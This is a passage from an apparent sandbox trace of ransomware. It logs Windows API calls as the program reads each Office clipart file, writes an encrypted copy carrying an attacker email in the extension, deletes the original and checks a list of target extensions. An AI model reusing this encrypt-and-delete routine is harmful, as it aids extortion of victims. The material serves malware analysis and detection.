office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0262.139] GetLastError () returned 0x0 [0262.139] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xbc4, lpOverlapped=0x0) returned 1 [0262.207] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0262.209] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.209] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.209] SetEndOfFile (hFile=0x54c) returned 1 [0262.271] CloseHandle (hObject=0x54c) returned 1 [0262.277] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.277] SetEndOfFile (hFile=0x548) returned 1 [0262.280] CloseHandle (hObject=0x548) returned 1 [0262.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0262.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.282] lstrlenW (lpString=".doc") returned 4 [0262.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.282] lstrlenW (lpString=".docx") returned 5 [0262.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.282] lstrlenW (lpString=".pdf") returned 4 [0262.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.282] lstrlenW (lpString=".xls") returned 4 [0262.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.282] lstrlenW (lpString=".xlsx") returned 5 [0262.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.282] lstrlenW (lpString=".ppt") returned 4 [0262.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.282] lstrlenW (lpString=".zip") returned 4 [0262.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.282] lstrlenW (lpString=".rar") returned 4 [0262.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.282] lstrlenW (lpString=".bz2") returned 4 [0262.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.282] lstrlenW (lpString=".7z") returned 3 [0262.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.283] lstrlenW (lpString=".dbf") returned 4 [0262.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.283] lstrlenW (lpString=".1cd") returned 4 [0262.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.283] lstrlenW (lpString=".jpg") returned 4 [0262.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.283] lstrlenW (lpString=".doc") returned 4 [0262.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.283] lstrlenW (lpString=".docx") returned 5 [0262.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.283] lstrlenW (lpString=".pdf") returned 4 [0262.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.283] lstrlenW (lpString=".xls") returned 4 [0262.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.283] lstrlenW (lpString=".xlsx") returned 5 [0262.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.284] lstrlenW (lpString=".ppt") returned 4 [0262.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.284] lstrlenW (lpString=".zip") returned 4 [0262.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.284] lstrlenW (lpString=".rar") returned 4 [0262.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.284] lstrlenW (lpString=".bz2") returned 4 [0262.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.284] lstrlenW (lpString=".7z") returned 3 [0262.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.284] lstrlenW (lpString=".dbf") returned 4 [0262.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.284] lstrlenW (lpString=".1cd") returned 4 [0262.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0262.284] lstrlenW (lpString=".jpg") returned 4 [0262.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.285] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.285] lstrlenW (lpString="AN02724_.WMF") returned 12 [0262.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.286] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2108) returned 1 [0262.286] CloseHandle (hObject=0x548) returned 1 [0262.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0262.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.294] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.294] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0262.295] GetLastError () returned 0x0 [0262.295] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x83c, lpOverlapped=0x0) returned 1 [0262.333] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x840, lpOverlapped=0x0) returned 1 [0262.334] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.334] WriteFile (in: hFile=0x54c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.334] SetEndOfFile (hFile=0x54c) returned 1 [0262.334] CloseHandle (hObject=0x54c) returned 1 [0262.338] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.338] SetEndOfFile (hFile=0x548) returned 1 [0262.340] CloseHandle (hObject=0x548) returned 1 [0262.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0262.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.342] lstrlenW (lpString=".doc") returned 4 [0262.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.342] lstrlenW (lpString=".docx") returned 5 [0262.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.342] lstrlenW (lpString=".pdf") returned 4 [0262.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.342] lstrlenW (lpString=".xls") returned 4 [0262.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.342] lstrlenW (lpString=".xlsx") returned 5 [0262.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.342] lstrlenW (lpString=".ppt") returned 4 [0262.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.342] lstrlenW (lpString=".zip") returned 4 [0262.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.342] lstrlenW (lpString=".rar") returned 4 [0262.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.342] lstrlenW (lpString=".bz2") returned 4 [0262.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.342] lstrlenW (lpString=".7z") returned 3 [0262.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.343] lstrlenW (lpString=".dbf") returned 4 [0262.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.343] lstrlenW (lpString=".1cd") returned 4 [0262.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.343] lstrlenW (lpString=".jpg") returned 4 [0262.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.343] lstrlenW (lpString=".doc") returned 4 [0262.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.343] lstrlenW (lpString=".docx") returned 5 [0262.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.343] lstrlenW (lpString=".pdf") returned 4 [0262.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.343] lstrlenW (lpString=".xls") returned 4 [0262.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.343] lstrlenW (lpString=".xlsx") returned 5 [0262.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.343] lstrlenW (lpString=".ppt") returned 4 [0262.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.344] lstrlenW (lpString=".zip") returned 4 [0262.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.344] lstrlenW (lpString=".rar") returned 4 [0262.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.344] lstrlenW (lpString=".bz2") returned 4 [0262.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.344] lstrlenW (lpString=".7z") returned 3 [0262.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.344] lstrlenW (lpString=".dbf") returned 4 [0262.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.344] lstrlenW (lpString=".1cd") returned 4 [0262.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0262.344] lstrlenW (lpString=".jpg") returned 4 [0262.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.344] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.344] lstrlenW (lpString="AN04108_.WMF") returned 12 [0262.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.384] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2344) returned 1 [0262.384] CloseHandle (hObject=0x550) returned 1 [0262.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0262.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.385] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.385] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0262.386] GetLastError () returned 0x0 [0262.386] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x928, lpOverlapped=0x0) returned 1 [0262.420] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x930, lpOverlapped=0x0) returned 1 [0262.421] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.421] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.421] SetEndOfFile (hFile=0x554) returned 1 [0262.421] CloseHandle (hObject=0x554) returned 1 [0262.422] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.422] SetEndOfFile (hFile=0x550) returned 1 [0262.427] CloseHandle (hObject=0x550) returned 1 [0262.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString=".doc") returned 4 [0262.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".docx") returned 5 [0262.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.428] lstrlenW (lpString=".pdf") returned 4 [0262.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".xls") returned 4 [0262.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.428] lstrlenW (lpString=".xlsx") returned 5 [0262.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.428] lstrlenW (lpString=".ppt") returned 4 [0262.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString=".zip") returned 4 [0262.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.428] lstrlenW (lpString=".rar") returned 4 [0262.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".bz2") returned 4 [0262.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".7z") returned 3 [0262.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString=".dbf") returned 4 [0262.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString=".1cd") returned 4 [0262.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.428] lstrlenW (lpString=".jpg") returned 4 [0262.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString=".doc") returned 4 [0262.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString=".docx") returned 5 [0262.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.429] lstrlenW (lpString=".pdf") returned 4 [0262.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString=".xls") returned 4 [0262.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.429] lstrlenW (lpString=".xlsx") returned 5 [0262.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.429] lstrlenW (lpString=".ppt") returned 4 [0262.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString=".zip") returned 4 [0262.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.429] lstrlenW (lpString=".rar") returned 4 [0262.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString=".bz2") returned 4 [0262.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString=".7z") returned 3 [0262.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString=".dbf") returned 4 [0262.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString=".1cd") returned 4 [0262.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0262.429] lstrlenW (lpString=".jpg") returned 4 [0262.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.430] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.430] lstrlenW (lpString="AN04134_.WMF") returned 12 [0262.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.430] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3416) returned 1 [0262.430] CloseHandle (hObject=0x550) returned 1 [0262.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0262.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.431] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.431] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0262.431] GetLastError () returned 0x0 [0262.431] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: 